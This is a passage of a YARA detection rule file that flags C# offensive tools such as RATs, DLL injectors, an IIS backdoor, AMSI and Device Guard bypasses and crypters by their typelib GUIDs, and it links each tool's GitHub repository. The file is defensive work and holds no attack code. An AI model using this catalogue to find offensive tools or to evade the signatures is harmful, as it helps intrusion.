		$typelibguid8lo = "f0d28809-b712-4380-9a59-407b7b2badd5" ascii wide
		$typelibguid8up = "F0D28809-B712-4380-9A59-407B7B2BADD5" ascii wide
		$typelibguid9lo = "956a5a4d-2007-4857-9259-51cd0fb5312a" ascii wide
		$typelibguid9up = "956A5A4D-2007-4857-9259-51CD0FB5312A" ascii wide
		$typelibguid10lo = "a3b7c697-4bb6-455d-9fda-4ab54ae4c8d2" ascii wide
		$typelibguid10up = "A3B7C697-4BB6-455D-9FDA-4AB54AE4C8D2" ascii wide
		$typelibguid11lo = "a5f883ce-1f96-4456-bb35-40229191420c" ascii wide
		$typelibguid11up = "A5F883CE-1F96-4456-BB35-40229191420C" ascii wide
		$typelibguid12lo = "28978103-d90d-4618-b22e-222727f40313" ascii wide
		$typelibguid12up = "28978103-D90D-4618-B22E-222727F40313" ascii wide
		$typelibguid13lo = "0c70c839-9565-4881-8ea1-408c1ebe38ce" ascii wide
		$typelibguid13up = "0C70C839-9565-4881-8EA1-408C1EBE38CE" ascii wide
		$typelibguid14lo = "fa1d9a36-415a-4855-8c01-54b6e9fc6965" ascii wide
		$typelibguid14up = "FA1D9A36-415A-4855-8C01-54B6E9FC6965" ascii wide
		$typelibguid15lo = "252676f8-8a19-4664-bfb8-5a947e48c32a" ascii wide
		$typelibguid15up = "252676F8-8A19-4664-BFB8-5A947E48C32A" ascii wide
		$typelibguid16lo = "447edefc-b429-42bc-b3bc-63a9af19dbd6" ascii wide
		$typelibguid16up = "447EDEFC-B429-42BC-B3BC-63A9AF19DBD6" ascii wide
		$typelibguid17lo = "04d0b3a6-eaab-413d-b9e2-512fa8ebd02f" ascii wide
		$typelibguid17up = "04D0B3A6-EAAB-413D-B9E2-512FA8EBD02F" ascii wide
		$typelibguid18lo = "5611236e-2557-45b8-be29-5d1f074d199e" ascii wide
		$typelibguid18up = "5611236E-2557-45B8-BE29-5D1F074D199E" ascii wide
		$typelibguid19lo = "53f622eb-0ca3-4e9b-9dc8-30c832df1c7b" ascii wide
		$typelibguid19up = "53F622EB-0CA3-4E9B-9DC8-30C832DF1C7B" ascii wide
		$typelibguid20lo = "414187db-5feb-43e5-a383-caa48b5395f1" ascii wide
		$typelibguid20up = "414187DB-5FEB-43E5-A383-CAA48B5395F1" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_rat_shell
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/stphivos/rat-shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "8f206175-f7e4-5543-8059-24f102fcd4b9"

	strings:
		$typelibguid0lo = "7a15f8f6-6ce2-4ca4-919d-2056b70cc76a" ascii wide
		$typelibguid0up = "7A15F8F6-6CE2-4CA4-919D-2056B70CC76A" ascii wide
		$typelibguid1lo = "1659d65d-93a8-4bae-97d5-66d738fc6f6c" ascii wide
		$typelibguid1up = "1659D65D-93A8-4BAE-97D5-66D738FC6F6C" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_dotnet_gargoyle
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/countercept/dotnet-gargoyle"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "5efd0c83-cb65-5bda-b55e-4a89db5f337c"

	strings:
		$typelibguid0lo = "76435f79-f8af-4d74-8df5-d598a551b895" ascii wide
		$typelibguid0up = "76435F79-F8AF-4D74-8DF5-D598A551B895" ascii wide
		$typelibguid1lo = "5a3fc840-5432-4925-b5bc-abc536429cb5" ascii wide
		$typelibguid1up = "5A3FC840-5432-4925-B5BC-ABC536429CB5" ascii wide
		$typelibguid2lo = "6f0bbb2a-e200-4d76-b8fa-f93c801ac220" ascii wide
		$typelibguid2up = "6F0BBB2A-E200-4D76-B8FA-F93C801AC220" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_aresskit
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/BlackVikingPro/aresskit"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "8265cd84-c8e7-5654-9d3a-774dab52d938"

	strings:
		$typelibguid0lo = "8dca0e42-f767-411d-9704-ae0ba4a44ae8" ascii wide
		$typelibguid0up = "8DCA0E42-F767-411D-9704-AE0BA4A44AE8" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_DLL_Injector
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/tmthrgd/DLL-Injector"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "301e70f4-89ed-539c-b7f3-9fc6ae1393b3"

	strings:
		$typelibguid0lo = "4581a449-7d20-4c59-8da2-7fd830f1fd5e" ascii wide
		$typelibguid0up = "4581A449-7D20-4C59-8DA2-7FD830F1FD5E" ascii wide
		$typelibguid1lo = "05f4b238-25ce-40dc-a890-d5bbb8642ee4" ascii wide
		$typelibguid1up = "05F4B238-25CE-40DC-A890-D5BBB8642EE4" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_TruffleSnout
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/dsnezhkov/TruffleSnout"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "8135d39e-6a9e-567d-840f-8d8c6338cce1"

	strings:
		$typelibguid0lo = "33842d77-bce3-4ee8-9ee2-9769898bb429" ascii wide
		$typelibguid0up = "33842D77-BCE3-4EE8-9EE2-9769898BB429" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Anti_Analysis
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/NYAN-x-CAT/Anti-Analysis"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "bd527841-065e-57e9-b70e-c9d232072f1b"

	strings:
		$typelibguid0lo = "3092c8df-e9e4-4b75-b78e-f81a0058a635" ascii wide
		$typelibguid0up = "3092C8DF-E9E4-4B75-B78E-F81A0058A635" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_BackNet
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/valsov/BackNet"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "91824d18-f46b-5b95-b650-4d710d711cf9"

	strings:
		$typelibguid0lo = "9fdae122-cd1e-467d-a6fa-a98c26e76348" ascii wide
		$typelibguid0up = "9FDAE122-CD1E-467D-A6FA-A98C26E76348" ascii wide
		$typelibguid1lo = "243c279e-33a6-46a1-beab-2864cc7a499f" ascii wide
		$typelibguid1up = "243C279E-33A6-46A1-BEAB-2864CC7A499F" ascii wide
		$typelibguid2lo = "a7301384-7354-47fd-a4c5-65b74e0bbb46" ascii wide
		$typelibguid2up = "A7301384-7354-47FD-A4C5-65B74E0BBB46" ascii wide
		$typelibguid3lo = "982dc5b6-1123-428a-83dd-d212490c859f" ascii wide
		$typelibguid3up = "982DC5B6-1123-428A-83DD-D212490C859F" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_AllTheThings
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/johnjohnsp1/AllTheThings"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "c35160cb-ad31-5195-a7c6-0af91a58737d"

	strings:
		$typelibguid0lo = "0547ff40-5255-42a2-beb7-2ff0dbf7d3ba" ascii wide
		$typelibguid0up = "0547FF40-5255-42A2-BEB7-2FF0DBF7D3BA" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_AddReferenceDotRedTeam
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/ceramicskate0/AddReferenceDotRedTeam"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "59299a72-9b7a-5108-81c2-d8f6d2e99b20"

	strings:
		$typelibguid0lo = "73c79d7e-17d4-46c9-be5a-ecef65b924e4" ascii wide
		$typelibguid0up = "73C79D7E-17D4-46C9-BE5A-ECEF65B924E4" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Lime_Crypter
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/NYAN-x-CAT/Lime-Crypter"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "484c7a15-7ab2-57d3-848c-0fddff753d52"

	strings:
		$typelibguid0lo = "f93c99ed-28c9-48c5-bb90-dd98f18285a6" ascii wide
		$typelibguid0up = "F93C99ED-28C9-48C5-BB90-DD98F18285A6" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

import "pe"

rule HKTL_NET_GUID_BrowserGhost
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/QAX-A-Team/BrowserGhost"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		modified = "2023-04-06"
		id = "adcc5d12-c393-5708-ae0b-a85f2187c881"

	strings:
		$typelibguid0lo = "2133c634-4139-466e-8983-9a23ec99e01b" ascii wide
		$typelibguid0up = "2133C634-4139-466E-8983-9A23EC99E01B" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them and not pe.is_dll ( )
}

rule HKTL_NET_GUID_SharpShot
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/tothi/SharpShot"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "9d59cd53-53b1-57db-b391-eee4dd6feec0"

	strings:
		$typelibguid0lo = "057aef75-861b-4e4b-a372-cfbd8322c8e1" ascii wide
		$typelibguid0up = "057AEF75-861B-4E4B-A372-CFBD8322C8E1" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Offensive__NET
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/mrjamiebowman/Offensive-.NET"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "b98495fb-0338-5042-a7ce-d117204eb91e"

	strings:
		$typelibguid0lo = "11fe5fae-b7c1-484a-b162-d5578a802c9c" ascii wide
		$typelibguid0up = "11FE5FAE-B7C1-484A-B162-D5578A802C9C" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_RuralBishop
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/rasta-mouse/RuralBishop"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "8fd89465-1ecc-5eda-b2ab-273172ad945d"

	strings:
		$typelibguid0lo = "fe4414d9-1d7e-4eeb-b781-d278fe7a5619" ascii wide
		$typelibguid0up = "FE4414D9-1D7E-4EEB-B781-D278FE7A5619" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_DeviceGuardBypasses
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/tyranid/DeviceGuardBypasses"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "3790faac-b5be-5999-b35f-71a2ef02b6ed"

	strings:
		$typelibguid0lo = "f318466d-d310-49ad-a967-67efbba29898" ascii wide
		$typelibguid0up = "F318466D-D310-49AD-A967-67EFBBA29898" ascii wide
		$typelibguid1lo = "3705800f-1424-465b-937d-586e3a622a4f" ascii wide
		$typelibguid1up = "3705800F-1424-465B-937D-586E3A622A4F" ascii wide
		$typelibguid2lo = "256607c2-4126-4272-a2fa-a1ffc0a734f0" ascii wide
		$typelibguid2up = "256607C2-4126-4272-A2FA-A1FFC0A734F0" ascii wide
		$typelibguid3lo = "4e6ceea1-f266-401c-b832-f91432d46f42" ascii wide
		$typelibguid3up = "4E6CEEA1-F266-401C-B832-F91432D46F42" ascii wide
		$typelibguid4lo = "1e6e9b03-dd5f-4047-b386-af7a7904f884" ascii wide
		$typelibguid4up = "1E6E9B03-DD5F-4047-B386-AF7A7904F884" ascii wide
		$typelibguid5lo = "d85e3601-0421-4efa-a479-f3370c0498fd" ascii wide
		$typelibguid5up = "D85E3601-0421-4EFA-A479-F3370C0498FD" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_AMSI_Handler
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/two06/AMSI_Handler"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "40768acf-fa9e-531a-83fd-187814ddc2d4"

	strings:
		$typelibguid0lo = "d829426c-986c-40a4-8ee2-58d14e090ef2" ascii wide
		$typelibguid0up = "D829426C-986C-40A4-8EE2-58D14E090EF2" ascii wide
		$typelibguid1lo = "86652418-5605-43fd-98b5-859828b072be" ascii wide
		$typelibguid1up = "86652418-5605-43FD-98B5-859828B072BE" ascii wide
		$typelibguid2lo = "1043649f-18e1-41c4-ae8d-ac4d9a86c2fc" ascii wide
		$typelibguid2up = "1043649F-18E1-41C4-AE8D-AC4D9A86C2FC" ascii wide
		$typelibguid3lo = "1d920b03-c537-4659-9a8c-09fb1d615e98" ascii wide
		$typelibguid3up = "1D920B03-C537-4659-9A8C-09FB1D615E98" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_RAT_TelegramSpyBot
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/SebastianEPH/RAT.TelegramSpyBot"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "57d22201-a051-5040-927c-30da3fc684fd"

	strings:
		$typelibguid0lo = "8653fa88-9655-440e-b534-26c3c760a0d3" ascii wide
		$typelibguid0up = "8653FA88-9655-440E-B534-26C3C760A0D3" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_TheHackToolBoxTeek
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/teeknofil/TheHackToolBoxTeek"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "ad8cf2c8-f70e-5f46-92fa-46e1fa5e683c"

	strings:
		$typelibguid0lo = "2aa8c254-b3b3-469c-b0c9-dcbe1dd101c0" ascii wide
		$typelibguid0up = "2AA8C254-B3B3-469C-B0C9-DCBE1DD101C0" ascii wide
		$typelibguid1lo = "afeff505-14c1-4ecf-b714-abac4fbd48e7" ascii wide
		$typelibguid1up = "AFEFF505-14C1-4ECF-B714-ABAC4FBD48E7" ascii wide
		$typelibguid2lo = "4cf42167-a5cf-4b2d-85b4-8e764c08d6b3" ascii wide
		$typelibguid2up = "4CF42167-A5CF-4B2D-85B4-8E764C08D6B3" ascii wide
		$typelibguid3lo = "118a90b7-598a-4cfc-859e-8013c8b9339c" ascii wide
		$typelibguid3up = "118A90B7-598A-4CFC-859E-8013C8B9339C" ascii wide
		$typelibguid4lo = "3075dd9a-4283-4d38-a25e-9f9845e5adcb" ascii wide
		$typelibguid4up = "3075DD9A-4283-4D38-A25E-9F9845E5ADCB" ascii wide
		$typelibguid5lo = "295655e8-2348-4700-9ebc-aa57df54887e" ascii wide
		$typelibguid5up = "295655E8-2348-4700-9EBC-AA57DF54887E" ascii wide
		$typelibguid6lo = "74efe601-9a93-46c3-932e-b80ab6570e42" ascii wide
		$typelibguid6up = "74EFE601-9A93-46C3-932E-B80AB6570E42" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_USBTrojan
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/mashed-potatoes/USBTrojan"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "d25c9033-13e8-5fc9-8561-f8862cca39b8"

	strings:
		$typelibguid0lo = "4eee900e-adc5-46a7-8d7d-873fd6aea83e" ascii wide
		$typelibguid0up = "4EEE900E-ADC5-46A7-8D7D-873FD6AEA83E" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_IIS_backdoor
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/WBGlIl/IIS_backdoor"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "44264dd9-f8e9-5a60-847f-94378e07a327"

	strings:
		$typelibguid0lo = "3fda4aa9-6fc1-473f-9048-7edc058c4f65" ascii wide
		$typelibguid0up = "3FDA4AA9-6FC1-473F-9048-7EDC058C4F65" ascii wide
		$typelibguid1lo = "73ca4159-5d13-4a27-8965-d50c41ab203c" ascii wide
		$typelibguid1up = "73CA4159-5D13-4A27-8965-D50C41AB203C" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_ShellGen
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/jasondrawdy/ShellGen"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "538a4f12-5020-5c76-9208-363f435ed9a9"

	strings:
		$typelibguid0lo = "c6894882-d29d-4ae1-aeb7-7d0a9b915013" ascii wide
		$typelibguid0up = "C6894882-D29D-4AE1-AEB7-7D0A9B915013" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Mass_RAT
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/NYAN-x-CAT/Mass-RAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "90b742da-6fd7-5c72-96cf-7a37a3e5d808"

	strings:
		$typelibguid0lo = "6c43a753-9565-48b2-a372-4210bb1e0d75" ascii wide
		$typelibguid0up = "6C43A753-9565-48B2-A372-4210BB1E0D75" ascii wide
		$typelibguid1lo = "92ba2a7e-c198-4d43-929e-1cfe54b64d95" ascii wide
		$typelibguid1up = "92BA2A7E-C198-4D43-929E-1CFE54B64D95" ascii wide
		$typelibguid2lo = "4cb9bbee-fb92-44fa-a427-b7245befc2f3" ascii wide
		$typelibguid2up = "4CB9BBEE-FB92-44FA-A427-B7245BEFC2F3" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Browser_ExternalC2
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/mdsecactivebreach/Browser-ExternalC2"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "8c309522-90e7-5f5a-b456-3a472756d397"

	strings:
		$typelibguid0lo = "10a730cd-9517-42d5-b3e3-a2383515cca9" ascii wide
		$typelibguid0up = "10A730CD-9517-42D5-B3E3-A2383515CCA9" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_OffensivePowerShellTasking
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/leechristensen/OffensivePowerShellTasking"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "d221e24d-a2ef-51e2-95bf-4b91b438d9cf"

	strings:
		$typelibguid0lo = "d432c332-3b48-4d06-bedb-462e264e6688" ascii wide
		$typelibguid0up = "D432C332-3B48-4D06-BEDB-462E264E6688" ascii wide
		$typelibguid1lo = "5796276f-1c7a-4d7b-a089-550a8c19d0e8" ascii wide
		$typelibguid1up = "5796276F-1C7A-4D7B-A089-550A8C19D0E8" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_DoHC2
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/SpiderLabs/DoHC2"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "0bb38f10-ca5c-5c18-97c9-540b6367d150"

	strings:
		$typelibguid0lo = "9877a948-2142-4094-98de-e0fbb1bc4062" ascii wide
		$typelibguid0up = "9877A948-2142-4094-98DE-E0FBB1BC4062" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SyscallPOC
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/SolomonSklash/SyscallPOC"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "1ed5e226-0dcd-5397-b5e8-41f8a14981a1"

	strings:
		$typelibguid0lo = "1e54637b-c887-42a9-af6a-b4bd4e28cda9" ascii wide
		$typelibguid0up = "1E54637B-C887-42A9-AF6A-B4BD4E28CDA9" ascii wide
		$typelibguid1lo = "198d5599-d9fc-4a74-87f4-5077318232ad" ascii wide
		$typelibguid1up = "198D5599-D9FC-4A74-87F4-5077318232AD" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Pen_Test_Tools
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/awillard1/Pen-Test-Tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "00fb98a9-e615-5fb6-a555-4326b93e2c24"

	strings:
		$typelibguid0lo = "922e7fdc-33bf-48de-bc26-a81f85462115" ascii wide
		$typelibguid0up = "922E7FDC-33BF-48DE-BC26-A81F85462115" ascii wide
		$typelibguid1lo = "ad5205dd-174d-4332-96d9-98b076d6fd82" ascii wide
		$typelibguid1up = "AD5205DD-174D-4332-96D9-98B076D6FD82" ascii wide
		$typelibguid2lo = "b67e7550-f00e-48b3-ab9b-4332b1254a86" ascii wide
		$typelibguid2up = "B67E7550-F00E-48B3-AB9B-4332B1254A86" ascii wide
		$typelibguid3lo = "5e95120e-b002-4495-90a1-cd3aab2a24dd" ascii wide
		$typelibguid3up = "5E95120E-B002-4495-90A1-CD3AAB2A24DD" ascii wide
		$typelibguid4lo = "295017f2-dc31-4a87-863d-0b9956c2b55a" ascii wide
		$typelibguid4up = "295017F2-DC31-4A87-863D-0B9956C2B55A" ascii wide
		$typelibguid5lo = "abbaa2f7-1452-43a6-b98e-10b2c8c2ba46" ascii wide
		$typelibguid5up = "ABBAA2F7-1452-43A6-B98E-10B2C8C2BA46" ascii wide
		$typelibguid6lo = "a4043d4c-167b-4326-8be4-018089650382" ascii wide
		$typelibguid6up = "A4043D4C-167B-4326-8BE4-018089650382" ascii wide
		$typelibguid7lo = "51abfd75-b179-496e-86db-62ee2a8de90d" ascii wide
		$typelibguid7up = "51ABFD75-B179-496E-86DB-62EE2A8DE90D" ascii wide
		$typelibguid8lo = "a06da7f8-f87e-4065-81d8-abc33cb547f8" ascii wide
		$typelibguid8up = "A06DA7F8-F87E-4065-81D8-ABC33CB547F8" ascii wide
		$typelibguid9lo = "ee510712-0413-49a1-b08b-1f0b0b33d6ef" ascii wide
		$typelibguid9up = "EE510712-0413-49A1-B08B-1F0B0B33D6EF" ascii wide
		$typelibguid10lo = "9780da65-7e25-412e-9aa1-f77d828819d6" ascii wide
		$typelibguid10up = "9780DA65-7E25-412E-9AA1-F77D828819D6" ascii wide
		$typelibguid11lo = "7913fe95-3ad5-41f5-bf7f-e28f080724fe" ascii wide
		$typelibguid11up = "7913FE95-3AD5-41F5-BF7F-E28F080724FE" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_The_Collection
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/Tlgyt/The-Collection"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "4ae78576-ab75-5679-9a29-4d9a1ff03f15"

	strings:
		$typelibguid0lo = "579159ff-3a3d-46a7-b069-91204feb21cd" ascii wide
		$typelibguid0up = "579159FF-3A3D-46A7-B069-91204FEB21CD" ascii wide
		$typelibguid1lo = "5b7dd9be-c8c3-4c4f-a353-fefb89baa7b3" ascii wide
		$typelibguid1up = "5B7DD9BE-C8C3-4C4F-A353-FEFB89BAA7B3" ascii wide
		$typelibguid2lo = "43edcb1f-3098-4a23-a7f2-895d927bc661" ascii wide
		$typelibguid2up = "43EDCB1F-3098-4A23-A7F2-895D927BC661" ascii wide
		$typelibguid3lo = "5f19919d-cd51-4e77-973f-875678360a6f" ascii wide
		$typelibguid3up = "5F19919D-CD51-4E77-973F-875678360A6F" ascii wide
		$typelibguid4lo = "17fbc926-e17e-4034-ba1b-fb2eb57f5dd3" ascii wide
